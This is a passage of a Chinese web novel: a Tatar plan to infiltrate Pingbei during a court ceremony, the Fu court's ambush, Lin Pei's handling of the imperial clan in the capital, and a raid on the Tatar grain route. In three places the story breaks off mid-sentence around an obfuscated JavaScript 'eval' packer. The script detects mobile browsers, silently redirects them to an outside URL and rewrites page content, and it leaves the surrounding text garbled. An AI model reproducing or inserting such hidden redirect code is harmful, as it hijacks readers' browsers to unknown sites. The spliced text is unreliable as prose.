大帐中,一具烤全羊架在炭火上,油烟噗呲噗呲直冒。 鬼力赤道:“叔父,坐。” 阿罗出道:“大汗,你当真打算用此险招吗?一旦天机泄露,亦思将军将陷入绝境啊。” “算日子,亦思已过居庸关。”鬼力赤脱下半边袖子,袒露出古铜肤色的精壮胳膊,拿起小刀切羊头肉,“他们混在使团之中与寻常人无异,应该不会被发现。” “就算亦思将军机智神勇,但是攻夺独石官道一事还须三思。”阿罗出抬起右手,握拳抵肩,“阜国在平北举办大典是有备而来,尤其陆洗这人不简单,他当平北巡抚之时就以胆识出名,曾令官市收购军屯所产粮秣,转贸于边市,所获利银三分补军用,七分惠边民,兵民商贾皆得其利,从今年联合兀良哈、瓦剌的手段来看,一定要小心堤防。” “为何叔父如此在意陆洗?”鬼力赤道,“那人只会谄媚逢迎,说白了就是阜国太后养的一条狗,他提出通商互利是为多贪一些银钱去讨好王室,如此大好时机怎能不用?” 阿罗出道:“大汗,我们还需要一段时间稳定后方。” 鬼力赤道:“叔父放心,我知道以本部目前的实力还不足以南下直捣金陵,但是机不可失时不再来,只有先拿下平北府,控制中原,将来才有可能渡河。” “大汗觉得……”阿罗出坐下,接过侍从端来的盘子,割下一片又一片羊尾油,动作细致而富有耐心,“……林佩和陆洗二人谁掌握阜国军政大权对我们更有利?” “有林佩在一日,我们便一日攻不下金陵。”鬼力赤道,“相比而言,当然是陆洗好。” 阿罗出道:“不尽然,林佩虽然负贤德之名,但有一个最大的特点就是勤于守成,由他执政,至少阜国不会主动来攻我们。” 鬼力赤道:“难道陆洗就敢主动攻打我们吗?” 阿罗出道:“难料。” 鬼力赤闻言大笑:“我愿与叔父打一个赌,待他们得知独石官道失守,陆洗绝对是跑得最快的那个。” 阿罗出看着雄心勃勃的鬼力赤,眼中流露出一种对后辈深切的爱意。 “好,我与大汗赌五十只羊。”阿罗出摘下毡帽,把泛着银白的辫发甩到肩后,回道,“我带兵去守榆木川,为大汗看好粮草辎重,静待佳音。” 一声嘹亮的军号响起。 草原之上的鞑靼军队迅速排列成形。 骑兵吆喝着穿过云河树林,不一会便钻入了南边茫茫山道。 21. 平北朝贺(三) 丑时,居庸关前的峡谷一片漆黑。 ——“啾,啾啾。” 寂静中,城外传来像鸟叫的哨声。 城中内应小声窃语。 鞑靼左将军亦思带领死士混迹于使团之中。 经龙门卫、土木堡、居庸关时,他各留了一百人藏匿附近,约定九月十五凌晨先夺哨岗,待鞑靼前锋部队一到,便里应外合打开城门。 ——“我们的人到了。” ——“说明龙门卫和土木堡都已攻破。” ——“阜国正忙着举办朝贺大典呢,无暇顾及这里。” ——“快去开门。” 一名鞑靼士兵带队溜到城门下,准备对值夜的阜国军官下杀手。 却正这时,弓弦震响。 一支箭射来,把鞑靼士兵的手钉在墙上。 鞑靼士兵发出惨叫。 又一支箭嗖地射来,他来不及躲闪,直接被扎穿喉咙。 箭矢如雨点飞来,城门下绽开一朵朵血色花朵。 城外,鞑靼前锋部队没有等到内应。 一排火光突然在居庸关的城墙之上亮起,绣着“董”字的大旗顶北风挥舞。 阜国军队身披鱼鳞甲,从城中大街小巷鱼贯而出,严密地把守住峡谷的每一处出入口。 “各位将军为参加平北朝贺如此长途奔波,着实辛苦。”董成登上城门楼,丢出一颗血淋淋的人头,大笑道,“阜国太后特意吩咐,请你们在此看烟花。” 鞑靼将士大惊失色。 千万道焰火霎时燃放,照得峡谷亮如白昼,整支鞑靼军队暴露无遗。 他们身穿轻甲,能防御弓箭,但对弩机、火铳和火炮等武器是毫无抵抗能力的。 虎蹲炮震耳欲聋。 两边山顶滚下巨石圆木,摧枯拉朽,直冲谷底。 峡谷的另一头,埋伏在野的阜国兵马杀将回来,抄小路重夺龙门卫。 龙门卫、居庸关两处闸口一堵死,董成带领八千地方军,持平北军械库调出的一千支鸟嘴铳将鞑靼的三千前锋部队夹在峡谷之中彻夜围剿,如关门打狗一般痛快。 亦思与剩余一百名鞑靼死士此时还在营州仓库之内埋伏,等待动身时机。 仓库门砰地打开。 不速之客夺门而入。 亦思抄起匕首:“什么人?!” 一记麒麟镖飞来,匕首被打落。 飞逸的身形如鬼魅般闪入。 亦思怒喝扑上,拳风刚猛却尽数落空。 飞逸足尖轻点货箱腾空翻跃,腰间麒麟镖接连激射,将五名扑来的鞑靼死士钉在木柱上。 亦思急退时忽觉膝窝一麻,原来早被银链缠住。他暴起欲挣,不料飞逸借力一拽,链身骤然绞紧他的脖颈。 "侵我疆土,合该此劫。"飞逸笑了声,一脚踩住亦思后背,链绳在指间绕出血痕,“若不是主上要活捉,必叫你血债血偿。” 一番搏斗,其余鞑靼死士皆被门外飞蓟三分堂的暗卫制服,瘫倒在地。 * 九月十五夜,华灯初上,平北行宫奏响庆乐。 咚! 一声大鼓如在平静的水面掀起波澜。 成百上千只腰鼓随之奏响。 咚!咚咚咚! 鸣钟击磬,乐声悠扬。 台基之上点起檀香,烟雾缭绕。 平北朝贺大典正式开始。 宫殿之内精心布置金丝彩带、花灯、屏风、挂毯,装饰极其华丽。 朱昱修坐在金漆雕龙宝座上。 董嫣在皇帝的后侧方,左右被紫玉菊花簇拥着。 众臣整齐叩拜。 庆乐奏完之后,太监引各国使者进入大殿。 殿中灯火照亮一张张异国面容。蒙古人饱满的胡须、硬朗的面部轮廓、高大魁梧的身材给人坚毅和勇猛的印象。他们穿织金锦,腰线上绣通神襕,辫发系着珠宝红绳,个个精神饱满。 ——“兀良哈大使托托觐见阜国皇帝。” ——“瓦剌大使密尔纪觐见皇帝。” ——“鞑靼大使……” 朱昱修转着鸠车车轱辘,一一对在他眼里差别不大的蒙古人表示欢迎。 董嫣却是头一回亲身经历这样万国朝太平的场面,眼中满是紧张又激动的情绪。 待各国使者依次觐见并交上贡礼册,众人按序入座。 兀良哈、瓦剌、鞑靼等外国使者西向坐。 阜国官员东向坐。 国宴菜肴品种丰富,有红、黄、青、白、黑五色,色泽鲜艳,造型独特。 陆洗今夜穿的是花衣蟒袍,周身以金线及彩色绒线刺绣飞蟒,陪衬为日、山,流云等八吉祥物,尽显荣华富贵,所见之人无不赞叹。 “右相。”董嫣道,“皇帝尚未亲政,本宫也疏于前朝之事,尔等应酬,不必拘礼。” “臣遵旨。”陆洗转过身,笑着吩咐道,“上舞乐。” 两侧廊下,丝竹管弦奏起雅乐。 指尖跃动,琴弦轻扣,古筝之声如丝绸般滑润,又如清泉般流畅。 托托、密尔纪二人私下和陆洗已经见过面,所以放得更开些,畅饮美酒,相谈甚欢。 鞑靼使者不言不语,冷眼旁观。 “使节大人不说话也不吃东西。”陆洗开口问候,“可是有什么心事?” 鞑靼使者淡淡道:“多谢丞相关心,只是鞑靼地处偏荒,消息闭塞,一直以为阜国现由林相主政,不想今日没见到人。” 陆洗道:“林相另有重任在身,有事你也可以和我谈。” 鞑靼使者道:“无甚要紧,就是大汗听闻林相怕冷,特赠送墨狐大氅一件,冬日可御寒。” 陆洗笑道:“哟,知道的不少,何谈消息闭塞呢。” 鞑靼使者道:“请陆相把大汗的好意转达给林相。” 陆洗道:“好,希望有这个机会。” 鞑靼使者夹起一块肉甩了甩油:“两国既然交好,往后机会多的是。” 殿堂歌舞升平,气氛逐渐热烈。 舞姬身披紫色纱裙,手托香腮,迈着轻盈的步伐环绕全场。 酒过三巡,陆洗起身走到正中。 “中原有句古语——有朋自远方来不亦说乎。”陆洗款款举起金樽,“各位使节远道而来觐见我朝皇帝,足见睦邻友好的诚意,阜国自古礼仪之邦,我朝皇帝也为各国准备了丰厚的赏赐。” 各国使臣随之起身。 夜空烟火绽放。 一行太监宫女端着红底描金的礼盒穿过殿前花海而来。 董嫣挪开目光,把朱昱修叫到跟前陪她一起插花。 太监清了清嗓子,高声报名。 ——“兀良哈使者。” 托托打开漆盒,取出一匹云锦。 云锦织造精细、纹样精美、锦纹绚丽多姿,美得不像人间物,更似天上衣。 陆洗笑道:“风月分将秋一半,昨夜月明今夜满,有人笙鹤御风来,玉绳转,银河淡,凉入天孙云锦段。请大使把这份荣恩带回朵颜三卫,愿广宁之路繁荣昌盛,两国友谊万古长存。” 托托十分喜欢,对皇帝的恩赐表达感谢。 ——“瓦剌使者。” 密尔纪打开漆盒,取出一副缂丝画。 画作之上彩色纬线绘出牧童吹笛化龙的神话故事,品格高雅,贵比金玉。 “承空视之如雕镂之象,夺丹青之妙,分翰墨之长。”陆洗风度翩翩,笑容依然热忱,“谨以此物祝瓦剌大汗长寿安康,子孙福泽绵长,愿哈密古道重现往日气象,听得驼铃声声奏乐章。” 密尔纪感佩之至,立即答谢天恩。 ——“鞑靼使者领赏。” 手鼓响。 舞姬水袖如行云。 陆洗回过头,示意宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的信心彻底粉碎,如同花瓣飘零满地。 “听好。”陆洗不给对方喘息机会,“我放你回去传话,亦思现在我手上,想救,就归还独石口,赔款纳贡,往后五年不得靠近云河源头,不得发兵骚扰我国边境,不得截断他国商道。” 鞑靼使者道:“阜国朝廷若杀死亦思,鞑靼将与你们不共戴天。” 陆洗道:“自己种的因,自食其果。” 于染等人互相搀扶站了许久,此时才看向身边的空位。 平北都司指挥使的位置仍然空着,却无声地震慑着一切。 包括托托、密尔纪在内的外国使臣见证了阜国对挑衅之举做出的强硬回复,纷纷表示敬意,为自己国家选择了一个可靠坚定的盟友而感到庆幸。 董嫣把修剪好的花枝插入瓶中,眼帘低垂,似乎对局面了然于胸。 朱昱修抬起头,声音还略显稚嫩:“母后,有人流血了吗?” 董嫣嘘了一声。 朱昱修道:“朕不害怕,朕知道今夜会见血。” * 十天之前,九月初五。 夜空飘满珍珠般的云朵,月光时明时暗。 此时平北行宫还沉浸在一片祥和安宁之中。 琉璃灯笼点缀廊道,玉栏之上雕刻的祥兽如在金色的河流中游动飞走。 陆洗站在殿外等了大半个时辰才被宣入。 过锦戏正演着。 董成和其余几位族人围坐戏台前。 “太后。”陆洗停下脚步,躬身行礼,“臣有事求见。” 22. 平北朝贺(四) 紫玉菊花铺满宫室。 “不会又要讨价还价吧。”董嫣斜靠在软塌之上,浅笑道,“你身家几许我心里有数,哪里真就舍得榨干了,别担心。” 陆洗抬头看了看帷布,说道:“臣今日在集市中看到一场斗鸡,最后获胜的不是体格最大也不是羽色最亮的,而是一只秃了毛的伤痕累累的鸡。” 伶人唱腔咿呀。 “臣感到奇怪,问其中门道,方知这只秃毛鸡之所以能赢,是因为它的喙十分坚硬,它的眼神中有一股能震慑对方的凶狠,大多数鸡被它啄到第一下就怯场了,再不能与之战斗。” 董嫣道:“右相可是又想到了什么。” 陆洗道:“臣谪居川西之时,曾有一个仇家隔三差五雇凶害臣,臣心中恐惧,躲在屋中紧闭门窗,就这么过了大半年,直到一天夜里狂风大作暴雨倾盆,屋顶漏的水直接滴在臣的脸上,冷冰冰的,臣才猛然惊醒,意识到自己已退无可退。” 皮影在帷布上跳跃翻转。 陆洗接着道:“为了反抗,臣孤身一人出远门去往仇家住的地方,趁上元节他与家人外出之时一把火烧了他的宅子,本想鱼死网破,不料从此以后,他再也没有找过臣的麻烦。” 这番话的巧妙之处在于字字句句看似只说自己,其实含沙射影,说的是永熙二十三年上元之夜董嫣于裕园纵火设局构陷另一位前朝贵妃的事。 伶人吓得不敢动弹。 皮影静静地挂着。 以往说这种话的人是活不到天明的。 但陆洗就是有这样的本事,知道什么场合能说什么话,不仅没有惹怒董嫣,还引起了这个外表柔弱娇嗔实则内心强大的女人的共鸣。 “直说吧。”董嫣令其余人等退下,“何事找我。” 陆洗道:“臣刚获悉,鞑靼想利用这次朝贺机会潜入关内,里应外合,夺取平北。” 董嫣一惊:“什么?” 陆洗道:“鞑靼使团在龙门卫、土木堡和居庸关都留下了内应,此外,探得鞑靼三千前锋部队已从独石口出发,不出意外的话,他们会在朝贺举行之时发动袭击。” 董嫣道:“为何现在才告知?你办的都是什么事?!” 陆洗站直身子,神情在朦胧光线之中讳莫如深。 董嫣定了定神,问道:“现在撤回直隶还来得及吗?” 陆洗道:“平北固若金汤,太后为何想逃?” 董嫣道:“我不知军事,只知道阜国不能和鞑靼正式开战。” 陆洗道:“正因如此,我们更不能在这时示弱。” 董嫣深吸一口气,似乎被点醒了。 此时阜国和鞑靼就像被围在场中的两只斗鸡,一时都弄不死对方,谁的喙更硬,谁的决心更狠,谁就能震慑住对方,取得气势上的胜利。 陆洗道:“我们好不容易取得瓦剌和兀良哈的支持,此时退却无异于前功尽弃,须知面对鬼力赤这样的敌人,最好的防守不是畏缩城墙之后,而是主动出击,到敌方腹地展开攻势。” 董嫣道:“听闻鬼力赤从未打过败仗,如此岂不是送死吗?” 陆洗道:“鬼力赤所向披靡从未战败,所以他的经验会让他把兵力和注意力全部集中在前线,反而忽视后方的防守,我们不需要与他们的主力交锋,只要用一次主动出击扑灭他的气焰,让他意识自己是完全有可能被阜国军队打败的,他心中就会生出恐惧。” 董嫣道:“你的意思是——其实鬼力赤也不敢和我们正式开战。” 陆洗道:“一桶水摇不响,半桶水响叮当,他在边境反复骚扰,目的肯定不是南下金陵,而是嫌我们给他们的好处还不够多。” 董嫣听到这里恍然大悟,行事也有了底气。 后半夜,朱昱修被阮祎叫醒移驾书房。 董成、张济良从家中折返也已赶到。 陆洗说明想法,一方面要将计就计,瓮中捉鳖,全歼鞑靼的三千前锋部队,另方面要派出一支精锐中的精锐,从宣府出发往大同方向绕到榆木川,闪击鞑靼后方粮道。 董成道:“关门打狗我在行,可是绕到敌后……不仅需要熟悉地形地势,还要有极强的作战能力,难上加难。” 张济良道:“为保险起见,我们还是应该留下大部分精锐部队镇守平北。” 陆洗道:“但如果仅仅是关门打狗,只会激怒鬼力赤,不足以让他产生恐惧。” 董成道:“若中军直隶卫队那边能出动一部分就好了,他们武器精良,加之地方军为向导,不愁事办不成。” 症结最终落到调兵之权。 所有军队奉命镇守平北,早在出发前兵部就下过明令,不借不调。 “知言啊。”陆洗苦苦一笑,“我又想你了。” 书房有些闷热。 字画飘出墨香。 朱昱修看着面前几个急得团团转的大臣,举起双手打了个呵欠:“朕可以调中军。” 这句话声音很小,一开始并没有引起注意。 陆洗还在和董成商讨行军事宜,突然感觉耳边飞过了什么嗡嗡叫的虫子,猛地回过头。 “陛下。”陆洗道,“你方才说什么?” 朱昱修道:“朕可以调军。” 陆洗道:“用什么调?谁去调?调谁?” 朱昱修逐渐清醒,把手藏进袖中,悄悄地摸着子辰佩:“这你别管,你说要多少人,打哪里,朕保准能调到就行。” 陆洗等人面面相觑。 董嫣也很意外,把朱昱修拉到屏风后面问情。 “哎呀,这是秘密,你们都别问了。”朱昱修厌烦道,“谁再问,朕不答应了。” 陆洗微眯双眼:“林相可曾交代让何人去传口信?” 朱昱修道:“阮……”还没说完,自知说漏嘴,连忙呸了一声。 陆洗等人遂了然于胸,相顾而笑。 获悉鞑靼的不轨意图之后,阜国君臣同心协力定下应对策略。 陆洗以非凡的胆识化被动为主动,粉碎敌人的阴谋,全歼其前锋部队,不仅没有使局面失控,还有效地保障了朝贺典礼如期举行,实现了朝廷东联兀良哈、西联瓦剌的外交策略。 * 典礼结束,各国使臣纷纷带着赏赐踏上归途。 只有鞑靼的军队仍在边境与阜国僵持。 使者穿出独石口,跪在鬼力赤面前告知前线大败和亦思被俘虏的消息。 “什么?他们抓了亦思?!”鬼力赤倏地站起,眼睛泛出血丝,折断手中短匕,“竖子安敢!” 使者苦着脸道:“阜国右相陆洗说,说换回亦思将军的条件是——归还独石口、赔款纳贡、往后五年不得靠近云河源头、不得发兵骚扰阜国边境、不得截断他国商道。” 风吹着驼铃凌乱作响。 鬼力赤徒手抓住刀刃,胡乱地在羊头骨上刮划,把自己的手掌也压出道道血痕。 他现在刻骨铭心地记住了陆洗这个名字。 “大汗。”一名部将道,“我们的主力部队十二万,秋后还能再增加六万,完全有能力和镇守在平北的阜国军队战斗。” 鬼力赤看着掌心渗出的血点,逐渐恢复冷静。 他知道最佳时机已过去,当下的成败只在一念之间,谁先暴露怯懦,谁就将失去阵地。 “三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749279|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千轻装骑兵在峡谷之中遇到重装围剿,即便输了也算不上耻辱。”鬼力赤道,“我们是不该轻敌,但更不该这么快向阜国投降,让他们轻而易举地在气势上取胜。” 部将道:“大汗说得对。” 鬼力赤拾起地上的刀柄,做出决定:“全军继续向前推进,直抵龙门卫。” 部将道:“只是如此一来可惜了亦思将军。” “你想错了,这一切正是为了以最小的代价救回亦思。”鬼力赤的眼神像一只孤狼,冷傲之中带着一丝狡黠,“陆洗赌我会为亦思做出让步,而我赌的是他即便扣留了亦思,日子也不见得好过,阜国朝廷水深,他就像捧着一个烫手山芋,说不定比我们还更着急。” 使者道:“大汗,既如此,下臣应如何回复陆洗?” 鬼力赤道:“拖着他。” * 鞑靼使者再次来到平北府传话。 【本汗亲率鞑靼主力二十万已到龙门城下,识时务者为俊杰,希望你速速交还左将军亦思,此事既往不咎,往后两国方还能言和。】 陆洗看着鬼力赤用汉文写的信,轻笑一声:“好丑的字。” 鞑靼使者道:“陆洗,我劝你不要太过分,当真使两国交战,看你如何向宗室交代。” 陆洗的神情含着玩味。 对手这一拖,拖出了他的惺惺相惜之情。 他的确经不起拖。 南方如何已无暇顾及,就连平北府现在都还存在两种声音,中军大多数将领对贸然进攻之举持反对态度,没日没夜地往行宫递送奏本,劝谏董嫣收走他的权力。 如果十月秋防之前鞑靼大军还没有退去,那么等待他的无疑是残酷的问罪。 但也正是对手的这一拖,让他更加相信当初的判断没有错,绕后的那一支精锐只要能顺利抵达榆木川,面对的定是疏于防备的老弱残兵。 “劳烦使节大人再跑一趟。”陆洗给出答复,“是鞑靼先行不义之举,偷袭我独石官道,妄图破坏我平北朝贺大典,阜国没有任何理由退让,原来的条件一样都不能少。” 这场鏖战把双方的意志都被逼到了悬崖边。 * 九月下旬,平北的消息陆续传回京城。 一场危机正在酝酿之中。 * 酉时,文辉阁点起灯火。 皇帝北巡之后,事务虽比平时少,但桩桩件件都需格外留心,实际不比平时轻松。 林佩坐在书案前看着脚下朝自己举起一只小爪的妞儿,无奈地叹口气,从抽屉盒子里拿出一条鱼干。 他刚得知自己精心给小皇帝准备的用于应急的兵马被陆洗偷走了,心中有种白菜被猪拱的感觉,可又架不住妞儿的小模样实在可爱,只好喂给它。 京中局势近来变得很微妙。 各方似乎一致把矛头对准了董姓族人以及为其卖命的陆洗,有说董嫣乃后宫妇人不当干涉前朝之政,也有说陆洗如此急功近利将把阜国引入歧途,批判甚多。 宗人令靖亲王朱敬在宗亲的支持之下一连发表数十篇长文,引经据典地抨击了陆洗谗言惑主、逢迎讨好、为抢功劳不顾社稷安危贸然出击、激化阜国与鞑靼矛盾等等行为。 宗室势力如今虽然不足以对紫禁城造成威胁,但对朝局的影响仍然不可忽视。 林佩之所以现在还没回府,便是因为听到了宗人府三日后要去祭祀皇陵的消息。 既非三大祭亦非五小祭,他觉察出这些人一定在筹谋什么,于是连夜让温迎去试探。 正思忖,温迎从宗人令府上回来了。 “怎么样?”林佩问道,“他们还去吗?” 23. 平北朝贺(五) 温迎道:“不出大人所料,靖亲王想借祭陵的场合煽动宗亲联名写一道奏本,大致意思是右相谗言惑主有失德行,请陛下将其罢免,以平息鞑靼的怒火。” 林佩道:“是不是还有一句如若不然。” 温迎道:“如若不然,圣驾归京之时,他们就用肉身堵住城门,以死清君侧。” 林佩道:“他们认为我会默许,所以告之于你。” 温迎道:“是,靖亲王让我传话,说如果大人不想介入,就先称病,事后装糊涂便是。” 林佩闻言,忍不住地咳嗽。 秋天干燥,一咳喉咙里就像被化开千万道口子。 ——“喵?” 妞儿拨弄林佩的靴子,歪过脑袋,一双猫瞳扩得又圆又大,似在关心他的身体。 “你啊。”林佩漱过口,温和地笑了笑,抱起妞儿放在自己的腿上,“你和你的主人,一个都不让人省心。” 为阻止这场骚乱,林佩先到刑部大牢选出一个前段时间因编造谣言谋取私利而被捕的犯人,判杖责八十,让尧恩打扫朝阳门外刑场,然后到兵部取出中军调令一式两份中备存的那份,请贺之夏运到朝阳门楼,最后令应天府出动衙役三百人维护城门秩序。 朝阳门位于通向皇家陵寝的必经之路上。 是日,宗人令靖亲王朱敬与附近封地赶来的几位郡王会合,正去往钟山,迎面看见一座木头搭起的行刑台。 行刑台挡住了礼器的通道。 罪犯衣衫褴褛,头低垂着,全身被铁链束缚。 朱敬骑在马上问道:“什么重要的案子非得今日在朝阳门前行刑?” 其人眉秀目炬,面如满月,静时若深湖,动时若雷霆。 林佩走下台阶,对各位亲王郡王行礼:“自然是比宗人府祭陵更为紧要的案子。” 朱敬道:“林相说来听听。” 林佩道:“这犯人原是齐东商贩,为了卖自家辟邪消灾的饰物,造谣鞑靼已攻破居庸关即将南下扫荡金陵,造成民间恐慌,罪不容赦。” 话音刚落,刑杖落下。 啪,啪,啪,木板打在皮肉上一声声作响。 朱敬拉过马缰:“明人不说暗话,林知言,你摆刑场是为劝阻我等起事,尽镇守京师之责,这是自然,然而你与陆洗政见不和早也不是秘密,今日宗人府就等你把这罪犯杖毙,然后清出道路,再去祭祀先祖,如此各尽其职各行其事,可好?” 林佩叹口气,缓缓道:“我知道各位多少都有些私心,说实话,林某人也有私心,怕这趟让陆洗出尽风头,将来平北新立北京,便再也压制不住他。” 众人听这话说的露骨,皆安静下来。 朱敬道:“你也是个明白人。” “但凡事都要有个度,不能硬把白的说成黑的。”林佩提起衣袍,走到邢台之上,示意暂停杖刑,“陆洗外交有方,与瓦剌、兀良哈达成通商互利的协议,又护驾有功,全歼鞑靼三千前锋,刚打下一场胜战,即便他行为乖张,仍是功大于过。” 朱敬眯起眼:“是功还是过得看结果,如果逼得朝廷与鞑靼开战,使民生涂炭,那……” “结果不在陆洗一人,你与我也都有份。”林佩毅然打断,“此时此刻,阜国只有一个敌人那就是鞑靼,比评判陆洗之功过更为重要的是朝廷上下必须同仇敌忾。” 朱敬被堵了口。 “谁要是做分裂离间之事,谁就是千古罪人。”林佩说出下一句话,“当与此贼同样下场。” 刑罚继续。 刑杖重重落下,敲得木头架子震三震。 犯人被打得哎哟哎呦地叫着。 林佩说的是家国大义,先制高处,即便身份尊贵如朱敬,亦不得不止步慎思。 门楼卫这时才把兵部备存的调令抬出来。 朱敬道:“这是什么?” 林佩道:“按理说兵部机密不应外泄,然而靖亲王执掌宗人府事务,身份不同寻常,靖亲王既然过问,林某不敢擅权,其实兵部早就对前线发生变故有防范之策,请王爷过目。” 这一举又通过行使特权而让朱敬感觉受了尊重。 朱敬跃下马,拆开调令。 只见上面白纸黑字写得清清楚楚,如果鞑靼主力攻到居庸关前,而陆洗不仅不能退敌,仍还不顾安危地怂恿皇帝与太后与之决一死战,那么中军都督朱迟将立刻将其拿下,一面护送圣驾返回京城,一面派使者去与鞑靼议和,在秋防之前换回北境安宁。 朱敬阅读之时,余光见林佩一直躬着身,心中戾气渐渐消退。 “王爷且先忍耐。”林佩的语气不温不火,“待北方胜局已定,我们再商议后续之事。” 钟声从远山传来。 山岚浮动,黄绿斑驳的林间露出一角飞檐。 “林相思虑周全,不愧为贤相。”朱敬走到自己的坐骑旁边,踩蹬上马,调转方向,“今日途经刑场不吉利,宗人府便不去祭陵了,希望北方势态发展顺利,不负众望。” 林佩目送各位亲王郡王远去,站直身子,长舒一口气。 他有把握控制局面,是因为阜国自十王府南迁之后就开始奉行“分封而不锡土,列爵而不临民,食禄而不治事”的宗藩制度,封在直隶的朱氏子弟之中,唯一掌兵的郡王朱迟此时正随圣驾在平北驻守,而朱敬以及其他郡王手中既没有调兵也没有统兵之权。 值此多事之秋,京城用风微浪稳的反应给予了平北府最大的支持。 * 十月初,平北府的气氛已到剑拔弩张的地步。 天空万里无云,连飞鸟都不愿多逗留。 行宫之外是按照京城规制建造的官署。 崭新的红漆绿瓦反射着阳光,亮得人眼睛发疼。 宋轶拿着一封信走进阁楼。 四面窗户关着。 陆洗站在案前蘸水练字。 宋轶道:“大人,京城来了一封信。” 陆洗见红雉尾羽,手指颤了一下。 这是八百里加急的信。 信封正面落中书省封四字及红色印章,背面用正楷清楚地写着“内封紧要公文仰沿途驿塘,马拨毋分昼夜须行八百里,开拆如敢稽迟擦损致干军机者,定以军法重究不贷”字样。 陆洗闭上眼,深吸一口气,拆出其中的信纸。 宋轶道:“大人。” 陆洗道:“他们要清君侧。” 宋轶道:“不是,这张纸上……只有一句话。” 陆洗睁开眼。 一张漂亮的书札映入眼帘。 行云流水的字迹,逸笔草草,性情流露。 【物触轻舟心自知,风恬烟静月光明。】 陆洗见之,眼底流过柔光:“知言。” 他把信放在面前仔细嗅闻,先是浅浅一笑,随后揉进胸口,大笑出声。 宋轶一头雾水:“大人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749280|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若这回我赌输了,必然要谢罪而死。”陆洗走到窗前,似醉非醉,张开五指按在窗缝亮光上,“我死之时,记得把这封信放在我的衣襟里,有它,可抵万箭穿心。” 窗打开。 西面宫阙的金光照射进来。 秋风拂动衣袍,把墨香吹向远方。 * 龙门城下,十万鞑靼大军排开阵列,营寨绵延数里望不见尽头。 铁蹄声铿锵有力,回荡在浩荡峡谷之中。 白铁缀连成的甲衣在阳光之下闪闪发亮。 马匹拉的弩炮、配重投石机像一只只蹲守着的张开口器的巨兽。 鬼力赤身披盔甲骑着一匹黝黑的骏马在营帐中巡逻。 “大汗,秋收就快结束,草原各部还能再增七八万兵力。”鞑靼部将紧随其后,“是往西边增防榆木川,还是往南增援我们,该决断了。” “看阜国守军如惊弓之鸟的样子,再多空拉几回弓,他们就要扛不住了。”鬼力赤道,“榆木川没有什么可防的,让所有人沿着独石道南下与我们会合。” 峡谷中雾气飘动,一切都在暴风雨之前的宁静中。 鬼力赤没有料到的是,在距离他大军西北二百里的地方,一支阜国精锐已绕过重重山脉,此刻正在榆木林间安静地蛰伏着。 * ——“报吴将军,发现鞑靼军旗,镇守他们粮道的人是阿罗出,鬼力赤的叔父。” 斥候在地图上做出标记。 树枝上挂着白玉镂雕子辰佩。 林间坐禅的白衣之人深呼吸一口气,睁开眼。 这双眼睛十分锐利,像盘旋空中的苍鹰,不放过任何一点风吹草动。 “我不认得什么人的叔父。”吴清川看着鞑靼守军的布防阵型,一手扎紧袖口的系带,开始穿甲,“但从其环环相扣、首尾相顾的阵型来看,这是一个经验丰富的老手,不可轻视。” 直隶第三军赤峰营的将士每一个都是通过武选司层层考核挑选出来的,又常年到边境轮巡,不仅熟读兵法,而且饱经实战历练,具有强大的作战能力。 主将吴清川在三天之前就已经率军抵达,第一眼看到的便是一批鞑靼老弱残兵,但他没有贸然出击,而是躲藏在山林间,沿着粮道耐心地侦查,发现事情没想象中简单。 阿罗出护送粮草的阵型和狼群一样。 老弱病残在最前面,头尾是年轻力壮的近战兵,中间是武器精良的远程兵,领军之将则与队伍保持一定的距离,占据视野最好的位置,随时可以出动控制局面。 吴清川看清情况之后,果断做出决策。 ——“一队二队从左右横冲而出,拦腰截断敌方中间部队,但不要恋战。” ——“弓手向两头射击,把敌军驱赶到中间。” ——“三队轻装从侧后方逼近敌人大旗,干扰视线,阻挠通讯。” 一声军号响。 喊杀震天。 只见榆木林中冲出不计其数的甲兵。 鞑靼守军还没来得及看清来人,便被冲得支离破碎。 血溅秋叶,丹红之上添殷红。 阿罗出在震惊之余仍及时反应,寻着箭矢方向找到了阜国在林间的藏身点,立刻前去剿灭。 “不要慌乱!”阿罗出拔刀出鞘,“保持队形!” 若是对平北都司的地方军他的判断是对的,但这一次,他低估了对手的战力。 24. 平北朝贺(六) 鞑靼守军前后只坚持不到半个时辰,就从狼群变成了被冲散的羊群,根本无法对抗左右两边以雷霆之势冲来的明甲骑兵,加之粮草被引燃,浓烟呛喉,只能任人宰割。 阿罗出朝树林冲到半路,见军旗侧方突然又冒出一支轻装劲旅。 他这时才意识到自己遭遇的不是平北都司的地方军,而是阜国最精锐的中军直隶卫队。 “吁,吁。”阿罗出拉住缰绳,“全军停止向前,后队变前锋突出重围,回鹞儿岭。” 他握着刀的手在发抖。 刀柄上的铁环叮当作响。 鞑靼军队的机动性很强,在放弃前中部之后,立刻恢复主动,一路往北边撤退边射箭。 吴清川看着敌人从掌中逃脱,咬了咬牙。 副将问道:“这只老狐狸,打不过居然跑了,将军,我们追不追?” 